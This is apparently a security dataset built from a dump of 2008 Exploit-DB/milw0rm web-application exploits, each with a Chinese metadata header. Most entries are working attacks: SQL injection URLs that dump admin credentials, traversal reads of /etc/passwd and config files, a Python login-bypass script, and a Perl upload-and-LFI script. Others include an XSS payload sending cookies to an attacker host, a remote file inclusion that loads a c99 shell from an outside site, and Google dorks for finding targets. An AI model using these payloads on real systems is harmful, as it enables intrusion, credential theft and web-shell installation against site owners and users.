QLWD/code_shield huggingface dataset:
标题: aflog 1.01 - Cross-Site Scripting / SQL Injection EDB-ID: 4958 CVE: 2008-0398 2008-0397 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-22 漏洞利用脚本: # Name: aflog 1.01 (and possibly earlier)
# Webiste: http://aflog.org/
# Vulnerability type: SQL Injection (comments.php) and XSS
# Author:
#         shinmai, 2008-01-22
###############################################################################
# Description:
#
# SQL INJECTION:
#
# SQL injection is possible in comments.php for the GET variable 'id', like
# this:
http://hostname/aflog/comments.php?id='[SQLI]/*
# The following POC exposes the username and password of the first registered
# user (the admin):

http://localhost/aflog/comments.php?id='+UNION+SELECT+666,null,concat('username:',username,',password:',password),1,null,1+FROM+members+ORDER+BY+id+DESC+LIMIT+1/*

#
# The same principle could be applied to view.php, but forming the SQL
# injection string is easier in comments.php, IMHO.
#
# NOTE:
# A possible sollution to this is setting magic_quotes_gpc to "on" but this is
# viable to cause other problems, so a patch to aflog would be more benefitial.
#
###############################################################################
#
# XSS
#
# The comment form doesn't do much parsing on comments posted, other than their
# length.
#
# A newly registered user can easily compose an URL with an XSS exploit and
# trick a logged in user to click it to steal their login cookie.
#
#   Example comment:

Don't go <script>var a="<a
href='http://server/stealcookies?"+encodeURI(document.cookie)+"'>here</a>";document.write(a);</script>.

#
# Cliking this link would send the login cookie as a GET request to 'server' to
# be processed by a script called 'stealcookies'
#
# Good luck, and be safe. Greetings to the light of my life, innoscent.
#

# milw0rm.com [2008-01-22] URL: https://www.exploit-db.com/exploits/4958
标题: Alstrasoft Forum Pay Per Post Exchange 2.0 - SQL Injection EDB-ID: 4956 CVE: 2008-0440 2008-0429 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: --==+================================================================================+==--
--==+      Forum Pay Per Post SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://alstrasoft.com/forum-pay-per-post-exchange.htm
DORK: N/A


DESCRIPTION: 
pull admin/user info from the database


EXPLOITS:
www.site.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(auser,0x3a,apass),7/**/FROM/**/admin/*
www.site.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(username,0x3a,uemail,0x3a,upass),7/**/FROM/**/users/*



NOTE/TIP: 
passwords are in plaintext.
admin login is at /admin/


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+      Forum Pay Per Post SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4956
标题: IDM-OS 1.0 - 'Filename' File Disclosure EDB-ID: 4954 CVE: 2008-0431 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: --==+================================================================================+==--
--==+          idmos1.0 Remote File Discolousure Vulnerability              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: Remote File Discolusure Vulnerability
 Download: http://sourceforge.net/project/showfiles.php?group_id=188355 idmos1.0
 Bug: Remote File Discolousure Vulnerability
 Info: IDMOS is a CMS (Content Management System) that fill all requirements in IDM Method. It provides dynamic front-end and administrative tools. Multilanguage, template-based, component-base, it is written in PHP and uses MySQL as DB.
 Visit: http://www.inj3ct-it.org


[*]----------------------------------------------------------


We can download file present on the server... for example we can get the file of db credentials, configuration.php

Exploit:

http://[www.example.com]/administrator/download.php?fileName=../configuration.php


or try to get /etc/passwd :) 


[*]----------------------------------------------------------

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4954
标题: MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass EDB-ID: 4957 CVE: 2008-0782 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: #!/usr/bin/python
#
#Exploit for the MOIND_ID cookie Bug
# MoinMoin 1.5.x
#
#Find your patch in : http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630
#
#Bug and exploit coded by just a nonroot and colombian user
#
#Enero 21 de 2008
#
#Greets: el directorio and all the SL community
#
# 
import urllib2,sys
print "MoinMoin host: i.e: http://127.0.0.1:8000/"
host=raw_input("MoinMoin host ( include http and /): ")
#info for the new user
#
#user for the test
user='nonroot'
#password for the test
password='nonrootuser'
#email for the test
email='just@nonrootuser.co'
#file to overwrite
#by default this file is there, is there?
archivo='README'
#######
#
req = urllib2.Request(host) 
adddata="action=userform&name="+user+"&aliasname=ilikecolombianpeople&password="+password+"&password2="+password+"&email="+email+"&css_url=&edit_rows=20&theme_name=modern&editor_default=text&editor_ui=freechoice&tz_offset=0&datetime_fmt=&language=&remember_me=1&show_fancy_diff=1&show_toolbar=1&show_page_trail=1&quicklinks=podriamos-insertar-codigo-php-aqui-verdad-que-si&save=Save"
headers={'Cookie':'MOIN_ID='+archivo}
req = urllib2.Request(host+"UserPreferences/",adddata,headers) 
try:
 r = urllib2.urlopen(req)
 data=r.read()
except urllib2.HTTPError:
 print "Wait a minute, is posible that the file: "+archivo+" doesn't have permission to write, think well, and try again"
 sys.exit(2)
print "Ok, the file: "+archivo+" was created, and you can logging setting the cookie MOIN_ID='"+archivo+"'"+" in your browser."
sys.exit(0)

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4957
标题: Lama Software 14.12.2007 - Multiple Remote File Inclusions EDB-ID: 4955 CVE: 2008-0423 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: [+]----------------------------------------------------------------------------[+]
 Lama Software kostenlos  Remote file include
Scripts         : Lama Software kostenlos
Discovered By   : QTRinux
Scripts site    : http://www.lama-software.de/
Thanks To       : # Tryag.cc # cold z3ro HackTeach.org # AlQaTaRi # Mr.sh4r3s # POISON #
site        : www.TRYAG.CC
dork        : Â© 2007 by Lama Software - Accomm Solutions GmbH & Co. KG
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
admin/functions/inc.steps.access_error.php?MY_CONF[classRoot]=Shell
admin/functions/inc.steps.check_login.php?MY_CONF[classRoot]=Shell
admin/functions/inc.steps.init_system.php?MY_CONF[classRoot]=Shell
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4955
标题: TikiWiki Project < 1.9.9 - 'tiki-listmovies.php' Directory Traversal EDB-ID: 4942 CVE: 2007-6528 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-20 漏洞利用脚本: TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability

http://www.vulnsite.com/tiki-listmovies.php?movie=../../../../../../etc/passwd%001234

# milw0rm.com [2008-01-20] URL: https://www.exploit-db.com/exploits/4942
标题: OZJournals 2.1.1 - 'id' File Disclosure EDB-ID: 4953 CVE: 2008-0435 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: # Name: OZJournals 2.1.1
# Webiste: http://www.aqonlinenetworks.com/
# Vulnerability type: Local File Exposure
# Author:
#         shinmai, 2008-01-21
######################################################################################
# Description:
#
# OZJournals uses .php-files as it's storage, and posts are read from them with the
# getcontents-function. This protects from traditional LFI-exploits, but the print
# -functionality, for instance, takes an id as a value, and allows an attacker to get
# the contents of files other than intended. Before printing the php-file is
# explode()d with "\t", but seeing as many scripts have tabs in their configuration
# files, an attacker could, with some luck, fish out database credentials or other
# sensitive data.
#
# This is a VERY low risk vulnerability, but can potentially provide additional
# reconnaissance data for an attacker.
#
# Example;

http://localhost/ozjournals/?show=printpreview&id=../config

#
# Vulnerable code:

$pfile = file_get_contents("$datadirectory/$id.php");

#
# Again as I said, this is a very low risk vulnerability, but I see no reason for
# AQOnline Networks not to fix it, even after having been notified about it numerous
# times.
#
# Good luck and be safe.
# In memoriam Anna-Emilia...
#

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4953
标题: Mooseguy Blog System 1.0 - 'month' SQL Injection EDB-ID: 4951 CVE: 2008-0424 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: # MGBS 1.0 Remote SQL injection

# Script url http://sourceforge.net/project/showfiles.php?group_id=193233

# Vulnerable code in blog.php 
 
 <?php
   $month = $_GET['month'];
   $result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN");
   ...

# Admin hash exploit

http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws(0x3a,id,uname,upass),7,8+from+users/*

# Bug discovered by The_HuliGun

# Greetz to: forum.antichat.ru

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4951
标题: Citadel SMTP 7.10 - Remote Overflow EDB-ID: 4949 CVE: 2008-0394 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-21 漏洞利用脚本: Citadel SMTP <= 7.10 Remote Overflow Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4949.tar.gz (2008-vs-GNU-citadel.tar.gz)

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4949
标题: WordPress Plugin WP-Forum 1.7.4 - SQL Injection EDB-ID: 4939 CVE: 2008-0388 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-19 漏洞利用脚本: remote sql injection exploit
###############################################################
                   

# >>> -::DESCRIPTION== >> WordPress forum plugin by Fredrik Fahlstad. Version: 1.7.4.

# >>> exploit: 1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_users where id=1/*      

(wp_tbv_users)

# >>> google: Fredrik Fahlstad. Version: 1.7.4.

# >>> author  websec Team  ./members =====>  Virus_C, Refresh , Virusa

# >>> page : hacking.ge

###############################################################

this is example

http://www.xxx.com/?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*

# milw0rm.com [2008-01-19] URL: https://www.exploit-db.com/exploits/4939
标题: Mini File Host 1.2.1 - 'language' Local File Inclusion EDB-ID: 4940 CVE: 2008-0357 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-20 漏洞利用脚本: #!/usr/bin/perl
# Name: Mini File Host (1.2.1 "Security Fixed release" and earlier)
# Vulnerability type: Local File Inclusion through POST requests (pages/upload.php)
# Authors: 
#          Scary-Boys: original GET-vulnerability, 2008-01-17
#             shinmai: POST-request vulnerability in latest version
#                      perl POC, 2008-01-19
######################################################################################
# Description:
# The same language=LFI vulnerability is found in 1.2 is present in  thelatest version
# POST has to be used to exploit instead of GET.
#
# This POC is to be used as follows:
# perl mfh121.pl -f FILENAME.PHP -h HOSTNAME -e PATH TO MFH
#
# FILENAME.PHP is uploaded to the target script, and then executed through LFI with
# a POST request.
#
# example: perl mfh121.pl -f ./phpinfo.php -h localhost -p /mfi121/ | less
# The resulting HTML will be printed, all output by phpinfo.php will be before the
# real content.
#
use LWP::UserAgent;
use Getopt::Std;
use vars qw($opt_f $opt_h $opt_p $opt_g);

my $ua;
my $response;
my $formtarget;
my $original_filename;
my $filame;
my $scriptname;
my $exploit_target;

getopts("f:h:p:g");

$original_filename = $opt_f;
$filame = chomp($original_filename);
$formtarget = "http://".$opt_h.$opt_p."upload.php?do=verify";

$ua = LWP::UserAgent->new;

$response = $ua->post( $formtarget,
  [ 'upfile' => [$original_filename], ],
  'Content_Type' => 'form-data'
);

die "error: ", $response->status_line
   unless $response->is_success;
if( $response->content =~ m/\.php\?file=(.*?)\">/ ) {
    $scriptname = "$1";
  } else {
    print "Upload of php file unsuccessful";
    die ($response->status_line);
  }

$scriptname =~ s/\.[\w]{2,4}//;

$exploit_target = "http://".$opt_h.$opt_p."/pages/upload.php";
$response = $ua->post( $exploit_target,
  [ 'language' => "../../storage/".$scriptname, ],
  'Content_Type' => 'form-data'
);
die "error running php file though LFI: ", $response->status_line
   unless $response->is_success;
print $response->content;

exit(0);

# milw0rm.com [2008-01-20] URL: https://www.exploit-db.com/exploits/4940
标题: Belkin F5D9230-4 Wireless G Plus MIMO Router - Authentication Bypass EDB-ID: 4941 CVE: 2008-0403 类型: REMOTE 平台: HARDWARE 发布日期: 2008-01-20 漏洞利用脚本: ##
## VULNERABILITY:
##
##  Belkin Wireless G Plus MIMO Router F5D9230-4
##  Authentication Bypass Vulnerability
##
##
## AUTHOR:
##
##  DarkFig < gmdarkfig (at) gmail (dot) com >
##  http://acid-root.new.fr/?0:17
##  #acidroot@irc.worldnet.net
##
##
## INTRODUCTION:
##
##  I recently bought this router for my local
##  network (without modem integrated), now I can tell
##  that it was a bad choice. When my ISP disconnects
##  me from internet, in the most case I have to reboot
##  my Modem and the Router in order to reconnect.
##  So I coded a program (which send http packets) to reboot
##  my router, it asks me the router password, and reboots it.
##  One day I wrote a bad password, but it worked. So I
##  decided to make some tests in order to see if there was
##  a vulnerability.
##
##
## DESCRIPTION:
##
##  Apparently when the router starts, it creates a file
##  (without content) named user.conf, then when we go to
##  SaveCfgFile.cgi, the configuration is saved to the file
##  user.conf. But the problem is that we can access to the
##  file SaveCfgFile.cgi without login.
##
##
## PROOF OF CONCEPT:
## 
##  For example we can get the configuration file here:
##  http://<ROUTER_IP>/SaveCfgFile.cgi
## 
##  pppoe_username=...
##  pppoe_password=...
##  wl0_pskkey=...
##  wl0_key1=...
##  mradius_password=...
##  mradius_secret=...
##  httpd_password=...
##  http_passwd=...
##  pppoe_passwd=...
##
##
##  Tested on the latest firmware for this product
##  (version 3.01.53). 
##
##
## PATCH:
##  
##  Actually (08-01-19) there is no firmware update, but I
##  contacted the author, if they'll release a patch, it
##  will be available here:
##  http://web.belkin.com/support/download/download.asp
##  ?download=F5D9230-4&lang=1&mode=
##

# milw0rm.com [2008-01-20] URL: https://www.exploit-db.com/exploits/4941
标题: bloofox 0.3 - SQL Injection / File Disclosure EDB-ID: 4945 CVE: 2008-0428 2008-0427 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-20 漏洞利用脚本: ########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title:Bloofox CMS Vulnerabilities
# Vendor: http://www.bloofox.com
# Bugs: SQL Injection (Authentication bypass) , Source code disclosure
# Vulnerable Version: 0.3 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

BloofoxCMS is a free open source content management system (CMS).


####################
- Vulnerability:
####################

+-->SQL Injection (authentication bypass)

Code Snippet:
index.php Line#107-116

if(isset($_POST['login']) || $_GET['login'] == "true") {
 if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {
  $login_ok = 1;
  if($_GET['login'] == "true") {
   load_url("index.php");
  }
 } else {
  $login_failed = 1;
 }
}

system/class_permissions.php Line#63-68
 function login($db,$user,$pass)
 {
  global $tbl_prefix;
  $pass = md5($pass);
  $db->query("SELECT uid,username,password,groups FROM ".$tbl_prefix."sys_user WHERE username = '".$user."' && password = '".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY username");
  $total = $db->num_rows();
  .
  .
  .


There is no input validation here therefore its possible for a remote attacker to bypass login mechanism when magic quotes is disabled!

POC :
Username: admin' or 1=1 /*
Password: something

+--> Source code disclosure

Code Snippet:
file.php Line#25-49

$file = $_GET['file'];

// Block external linkings
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {
 die("Forget It!");
}

$basedir = getcwd()."/media/files";

// create file name
$filename = sprintf("%s/%s", $basedir, $file);

// check file on server
if(!file_exists($filename)) {
 die("File not found!");
}

header("Content-Type: application/octet-stream");

$save_as_name = basename($file);
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");

// output
readfile($filename);

Input passed to the "file" parameter is not properly sanitised before being used.
This can be exploited to display arbitrary files through directory traversal attacks or by passing full paths.

POC:
GET: http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php
Referer: http://servername/

####################
- Credit :
####################
Original advisory: http://bugreport.ir/?/27
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-20] URL: https://www.exploit-db.com/exploits/4945
标题: 360 Web Manager 3.0 - 'IDFM' SQL Injection EDB-ID: 4944 CVE: 2008-0430 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-20 漏洞利用脚本: 360 Web Manager CMS Remote SQL Injection Vulnerability

Author: Ded MustD!e

Site: http://www.360webmanager.com/

Google Dork: inurl:"IDFM=" "form.php"

Exploit: http://site.com/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4
,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user/*

Example: http://www.360webmanager.com/form.php?IDM=2&IDSM=24&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4
,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user/*  =)))

Details: number of columns may be >20, admin panel - http://www.site.com/adm/login.php

# milw0rm.com [2008-01-20] URL: https://www.exploit-db.com/exploits/4944
标题: Frimousse 0.0.2 - 'explorerdir.php' Local Directory Traversal EDB-ID: 4943 CVE: 2008-0425 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-20 漏洞利用脚本: software : Frimousse v.0.0.2
vendor : http://frimousseweb.free.fr/

[+] Introduction
Frimousse is a freeplayer interface web written in php language , works with apache & php & VLC ( media player ) .
it is used for manage the playlist and view it in interface web with VLC media player .
Frimousse runs on Linux and  Microsoft Windows.

 apache & php & VLC are integred in setup of version for windows and attched with php archive for linux :

Frimousse 0.0.2 setup.exe   > http://frimousseweb.free.fr/files/Frimousse_0.0.2_setup.exe
Frimousse 0.0.2 minimal.rar  > http://frimousseweb.free.fr/files/Frimousse_0.0.2_minimal_install.rar

[+] vulnerability discovered by : Houssamix  from H-T Team 
H-T Team = HouSSaMix + ToXiC350 + RxH

[+] vulnerable version : Frimousse v.0.0.2 

{ BUG } : directory traversals  :

   => xpl > http://127.0.0.1:8080/explorerdir.php?name=[directory]
   => ex > http://127.0.0.1:8080/explorerdir.php?name=C:
             http://127.0.0.1:8080/explorerdir.php?name=C:\Program Files

------------------------------------------------------------------------------------------
-  H-T Team  -- greetz : Cold-zero (hackteach.org) -Mahmood_ali (tryag.cc) - DDos & all hackers muslims   --
------------------------------------------------------------------------------------------

# milw0rm.com [2008-01-20] URL: https://www.exploit-db.com/exploits/4943
标题: BoastMachine 3.1 - 'mail.php' id SQL Injection EDB-ID: 4952 CVE: 2008-0422 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-21 漏洞利用脚本: ########################################################################
#                                                                      #
#    ...:::::boastMachine <=3.1 SQL Injection Vulnerbility ::::....    #           
########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :x
-----------------------------------
dork: Powered by boastMachine v3.1
-----------------------------------
vuln:
http://localhost/bm/mail.php?id='/**/union/**/select/**/1,2,concat(user_login,char(58),user_pass),4/**/from/**/bmc_users/**/where/**/id=1/*&blog=[blog_id]
example:
http://localhost/bm/mail.php?id='/**/union/**/select/**/1,2,concat(user_login,char(58),user_pass),4/**/from/**/bmc_users/**/where/**/id=1/*&blog=1
-------------------------------------
you can see somting simillar to:
Send the post "swagger:e74c7cc56d033d32b8cb465c2bbc379b" to a friend
#############
'swagger' is admin user & 'e74c7cc56d033d32b8cb465c2bbc379b' is encoded admin password ;)
-------------------------------------
mybe other versions are Vulnerbil too :)

# milw0rm.com [2008-01-21] URL: https://www.exploit-db.com/exploits/4952
标题: Small Axe 0.3.1 - 'cfile' Remote File Inclusion EDB-ID: 4937 CVE: 2008-0442 2008-0376 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-18 漏洞利用脚本: # Name : Small Axe Weblog 0.3.1  Remote File Include
# Download From : http://releases.smallaxesolutions.com/smallaxe-0.3.1.zip
# Found By : RoMaNcYxHaCkEr                  We Are H-T TeaM (Houssamix - ToXiC)
# Home Page : Not Yet  :(      Tryag.cc/cc        No-Hack.net     V99x.com/vb               Hackteach.org/cc     

============================================================================

# Vulne Code In File linkbar.php In Line 1 :


include_once($cfile);

# Exploit :

http://Www.RxH.CoM/smallaxe-0.3.1/inc/linkbar.php?cfile=http://no-hack.net/shells/c99.txt?

That,s It,s

Good Luck Everybody
============================================================================

# Greet To :

"Cold Z3ro My Master , !!Hack-back!!" (Hackteach.org)

Tryag TeaM :"Mahmood_ali , cRMINEL_NET , Mohajer22 , Dr-Ha!l , LoVeRs Hacker , Abdullah00 , Athabi Ker , Mr-Wolf ...etc"  (Tryag.com)

Hack15 TeaM :"GeNiUs-HaCkEr , Mr-AljoOOker , Mr-Shares , So9or , KsA HaCkEr ...etc" (V99x.com)

Sniper-Sa TeaM :"Sniper-sa , Golden-Hacker , Sho3ter , VerySecret , nOUR-Ice ....etc"(Sniper-sa.com)

Yee7 TeaM : "ShockShadow ( My Best Friend ), HoUrIcAn , ...etc"(Yee7.com)

H-T TeaM : " Houusamix , ToXiC "(no-hack.net)

Str0ck (Milw0rm.com)

Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye , AlQaTaRi , God-Father And All My Friends

# For Contact : RxH@HotMail.iT

# Note : Alwayse Don,t See In The Top To Feeling Pain In Your Neck !!!

Best Wishes

# milw0rm.com [2008-01-18] URL: https://www.exploit-db.com/exploits/4937